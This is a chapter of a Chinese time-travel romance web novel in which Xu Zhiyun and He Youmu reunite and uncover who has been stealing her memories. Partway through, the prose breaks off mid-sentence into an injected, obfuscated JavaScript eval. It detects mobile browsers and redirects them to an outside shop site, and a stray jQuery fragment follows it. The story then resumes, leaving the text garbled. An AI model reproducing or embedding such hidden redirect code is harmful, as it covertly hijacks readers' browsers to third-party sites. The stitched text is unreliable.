52. 白马非马

作品:《黑月光也要拯救吗?[娱乐圈]

    “小芸,你这么急着约我出来是有什么事吗?”


    “宋则许你认识吗?”


    外面天刚打亮,许知芸和何攸牧坐在办公室里,晨光透过百叶窗,洒下几缕落在两个人中间那张纯白的木质桌子上,很标准的心理医生的办公室,甚至勾起了何攸牧一些从前的记忆。


    他手心颤抖地捧住那只还冒着热气的杯子,手指收紧,


    “算是?”


    他不知道许知芸突然问起这个是干什么,或者说其实在他整个记忆长河当中,宋则许对于他来说都是个可有可有的人物,尤其是后面他专心搞起了音乐,更是跟那人没了交集。


    “你知道宋则许在替代你吗?”


    许知芸用十分平静的声音在他们之间引爆了一个巨型炸弹,炸的何攸牧冷不丁地瞪大了眼睛,喉结都剧烈地滚动了一下,他声音艰涩,没来得及开口,却对上女人皱紧的眉头,和推来的一张熟悉的相片。


    “在他的故事里,那个高中和我形影不离的人是他,那个逃课去搞乐队的人是他,那个和我在天台分享秘密的人也是他,后来因为我临时出国的决定我们才无缘错过,按照他的道理,我本来应该是喜欢他的。”


    “不可能!”


    何攸牧急切地反驳,指尖压着的那张照片,落日的天台上,少年和喜欢的女孩牵着手面对着镜头笑的是那样灿烂,他背上的吉他,手上的手环,脸红的瞬间都是那样昭然若揭地被封存,任谁都看得出他们那时正在相爱。


    “我知道不可能,哪怕没有你,我对他说的故事也从来抱有怀疑,”


    面对对方突然站起身子的压迫感,许知芸却好像是突然松了一口气,好像所有错乱的轨道归位。


    昨晚和母亲聊完之后,她才把从前的相册从箱子深处翻了出来,许知芸完全不知道这本相册的存在,她甚至忘记的比她想象中更多。


    封存的往事从他们相识的那一天一页一页被记录,即使她的大脑仍然一片空白,但也清楚,这些证据都是真的。


    多么可笑,这些如此简单的,她轻而易举就能寻求到的过去,却一直被她刻意忽视,深深掩埋。


    甚至为了逃避,她情愿相信宋则许那漏洞百出的谎言,只是为了不记起来,她的声音轻的像一声叹息,在终于相认之后,她觉得自己无端地有些空落落的难过,


    “我翻了一夜的相册,从我们五岁在幼儿园里玩过家家,到十六岁你第一次演出我给你送花,何攸牧,我们认识了这么多年,我那么喜欢你,你为什么舍得不来找我?”


    她也是痛的,也是恨的,甚至走的也根本没那么决绝。


    何攸牧呆愣在原地,在此刻才终于意识到,在他将许知芸当成自己支柱的很多年里,在他疑心对方会忘了他的那些时候,许知芸竟然也是一样的不安。


    他甚至忘了他们相爱在很早的年纪,在尚未成为爱人的时候,就已经率先成为了彼此的家人。


    这牵扯不开,连进骨血的情感,从来都不是能够轻易剥离的。


    但因为拥有所有记忆的许知芸不会这样质问他,所以他就这样视而不见地忘记了。


    忘记从一开始许知芸就认为一切都是自己的选择,怪不了别人,哪怕两个人都遍体鳞伤,她都只觉得是自己的错,所以更加加倍的去弥补。


    但如今坐在他面前的这个人对此却毫无记忆,她甚至又重新变回了那个会哭会笑的十八岁的女孩,她此时难过的是爱的人爱她没有那么深,在她最需要的时刻屡屡缺席,轻易地就离开了。


    何攸牧的心脏像是突然被狠狠攥紧,于是他绕过桌子,将许知芸从凳子上拉了起来抱进怀里,如同他们曾经无数次将拥抱视为安慰一样,学着从前的样子,摸了摸对方的头顶,衣袖滑下,露出他手腕上那个熟悉的银色手环。


    “对不起。”


    他有很多犹豫,有很多顾虑,如果硬要说他可以举出无数的例子告诉许知芸他做这一切都是有原因的,是她自己说让他等着的,是宋淹的阻挡,是为了那些莫名其妙的时空秩序他也是逼不得已。


    但是这都不能抵消在无数昏暗的长夜里,对方是那样的需要他,他却不在这里。


    所以他只能说对不起,那些错过的,不能弥补的,他只能一遍遍说对不起。


    直到感到肩膀上的衣袖逐渐有了泪痕,何攸牧才意识到许知芸哭了,压抑的,细微的颤抖,是后怕,是埋怨,但也证明许知芸是在依赖他。


    于是他稍稍退开,双手捧住女孩的脸,泪水顺着脸颊落在他手心,他俯身轻轻地吻了上去,带着小心翼翼的试探,像年少时他们第一个吻那样青涩。


    唇贴上的瞬间,两个人都颤了颤,许知芸却哭的更凶了,咸涩的液体渗进相贴的瞬间。


    摩挲着唇瓣,牙齿轻微碰撞,他想要很用力地去吻,却又像对待一件易碎的珍宝一样,吻的那样细致,直到最后两人双颊通红,快要喘不过气来,何攸牧才稍稍退开,额头相抵,剧烈的呼吸相互交织。


    “对不起,小芸,我很想你。”


    何攸牧感觉有千言万语哽在喉头,搜搜捡捡最后却只能说出这么一句。


    对不起我来的太晚,而没有出现的这些日子里,我每一天都在想你。


    许知芸后知后觉手环住对方没有松手,像只终于归巢的雏鸟,没了那些记忆的人想当然的也忘记了痛苦,她只凭着爱的本能埋怨,爱和恨都变得那样纯粹。


    “别再走了,何攸牧,别总让我一个人。”


    “我保证,你以后赶我我都不走了。”


    何攸牧难得听见许知芸这样直白的要求,心头软成一片,他轻轻地抚摸着对方的后背,像是一种安抚,许知芸抹了把脸,开口的声音闷闷的,


    “其实我也没忘记那么多,有些还是有记忆的。”


    何攸牧的心跳漏了一拍,他稍稍退开,凝视着许知芸通红的眼睛,不可置信的问到,


    “你记得什么?”


    许知芸的指尖轻轻抚过他手腕上的银色手环,声音很轻,


    “我记得这个手环,我用我第一次比赛的奖金买的,专门找大师求的,花了我不少工夫呢。”


    只是不记得送给谁了而已。


    何攸牧的喉结轻轻滚动,眼中闪过惊喜,声音有些沙哑,


    “那你之前为什么不说?我还以为你全忘了。”


    许知芸眨了眨眼睛,有点不好意思,但还是诚实地说道,


    “因为每次想到这些,都觉得胸口发闷,呼吸不上来,而且所有的细节都模糊不清,好像隔了一层雾一样,我好像只记得跟一个人经历了一些事情,但怎么也想不起来那个人到底是谁。”


    她抬头睁了睁眼睛,眼泪就又顺着眼眶滴落下来,痛得很,


    “所以我的那些记忆到底去哪了,我为什么忘了这么多,你知道吗?”


    何攸牧动作一僵,一种隐秘的恐慌从他的脊背开始蔓延,好不容易平复的情绪就要再次席卷重来,许知芸会不会怪他骗了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860053|187427||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她,面对着对方无知无觉一双平静的眼睛,他将人箍的更紧,这才喉头艰涩地开口,


    “你听我说,小芸,你听我说,这件事情真的很复杂——”


    “我死了以后穿越了,还穿到了宋淹身上,这件事情我已经知道了,说些我不知道的。”


    许知芸顿了顿,身体往后后仰,表情显示出她正在等待,和刚才真情流露的样子判若两人,似乎这个时候才显现出来一些与她年纪相符的成熟。


    好像重新将权利拉回了自己手中,她没有试图挣脱对方的钳制,甚至没有抱怨,只是静静地等待着何攸牧接下来的回答。


    “你知道了?”


    “是的,你遇见我和郑西衡那天他就是在跟我解释这些事情,但他好像知道的还不够多,比如我失去记忆这些事情。”


    “这个其实也是宋淹捣的鬼,她……她是你执念的集合体,借由你对于拯救我的执念一遍遍地吞噬你的记忆,她似乎认为只要剥夺你的所有记忆,就能够真正成为你,与此同时,你也不会再记得我,她是个疯子。”


    “但她现在还是你的经纪人?”


    “因为我害怕她再去对你做些什么。”


    宋淹的存在太强大了,她像是一个凌驾在时间之上的奇怪的产物,好像可以忽略世界上的一切规则就此诞生,然后随心所欲地得到她想要得到的一切。


    可她又是诞生于自己的,来源于自己的执念,许知芸在某一刻甚至怀疑自己才是那个怪异的源头,那么她能亲手杀死自己的执念吗?她敢吗?


    “那么宋则许又充当了什么角色?”


    许知芸的声音重新恢复了平静,她退出何攸牧的怀抱,手撑着椅背,轻轻地敲了几下,


    “他跟这些事情又有什么关联?”


    她眼神清明,眨了几下,睫毛落下阴影,


    阳光被窗叶切割,在桌上落出明暗交接的一片光影,如同他们被强行篡改的人生。


    在这之间,何攸牧开了口,


    “他也穿越了时空,甚至每一次的时空循环都是因他而起,但他是为了救你,他想你活着。


    其实这都怪我,在过去的时间线里,我生活的很不好,你为了拯救我才回了国,却死在了飞机上,而你的执念也是在那时候诞生的,因为你觉得没能帮上我。”


    他妥协般地轻声答道,来源于当初意识到宋则许身份的特殊,他私下里偷偷调查过,这才知道这人竟然就是高中时期许知芸救下的那个学弟。


    原本是搞研究的,不知道怎么就改行去拍了电影,尤其是他后面几次找这人打探却发现他对自己并没有什么敌意,连他们那场莫名其妙的打斗都忘的一干二净。


    他这才清楚这副壳子里面也是换了个人。


    后来在他的威胁下,宋淹又向他亲口承认了最开始那些时间的循环都是靠宋则许的那块手表开启的,以及那些不为人知的真相。


    因为他想让许知芸活着,而宋淹想要的是自己活着。


    所以这么多年来,他也生怕自己的不如意会让原定的结局再次卷土重来,但是还是忍不住,忍不住想再见一面,落地墨尔本的时候,那时想的,就远远看一眼就好了。


    因为比起所谓的爱情,他只希望许知芸好好活着,哪怕这个未来里没有他也没关系。


    但是事情不受他掌控地发展到如今,他低下头不敢直视对方的眼睛,直到许知芸再次环抱住他,


    “没关系,我们一定能找到解决的办法的。”